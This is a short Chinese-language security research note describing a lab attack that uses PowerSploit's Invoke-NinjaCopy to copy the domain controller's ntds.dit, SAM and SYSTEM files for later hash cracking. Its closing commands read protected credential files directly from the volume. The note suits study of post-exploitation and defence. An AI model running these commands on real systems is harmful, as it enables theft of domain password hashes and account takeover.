返回首页
EN
H7 / SECURITY RESEARCH NOTES

利用NinjaCopy进行直接卷访问导出域内凭证文件

环境说明

IPHOSTNAMENOTE
172.16.106.71KC360_WIN2012_1域控
172.16.100.52Windows 10域内主机
172.16.106.69KC360_WIN2008_1域内主机

前言

  • 在内网渗透过程中,当攻击者拿下域控以后,就可以尝试获取域内密码凭证等信息,这时首先需要获取三个文件,如下列表所示:
文件名称描述文件存放路径
ntds.dit活动目录数据库文件,包括与域内用户、组和组成员身份的各种相关信息。%SystemRoot%\NTDS\ntds.dit
SAM存储本地账户的密码哈希%SystemRoot%\System32\config\SAM
SYSTEM使用存储在SYSTEM注册表配置单元中的密钥对上述哈希值进行加密,因此破解SAM和ntds.dit文件都需要它%SystemRoot%\System32\config\SYSTEM
  • 但是Windows禁止对ntds.dit、SAM、SYSTEM这三个文件进行复制和读取,这时我们需要凭借其它手段:例如直接卷访问、卷影复制等技术来获取到这个三个文件。
  • 有了这三个文件之后,我们再借助 NtdsAudit 来破解其密码哈希获取域内凭证信息。

攻击过程

通过NinjaCopy进行直接卷访问

  • NinjaCopy是Powershell实现的进行直接卷访问的攻击脚本,目前集成在知名开源Powershell攻击框架PowerSploit中,PowerSploit下载地址如下:
https://github.com/PowerShellMafia/PowerSploit
  • 关于PowerSploit的安装用法参考官方文档如下:
https://powersploit.readthedocs.io/en/latest/
  • 之后我们通过PowerSpolit的脚本NinjaCopy将我们需要的ntds.dit、SAM、SYSTEM这三个文件复制到E:\credential目录下:
Import-Module Exfiltration
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "E:\credential\SAM"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "E:\credential\SYSTEM"
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "E:\credential\ntds.dit"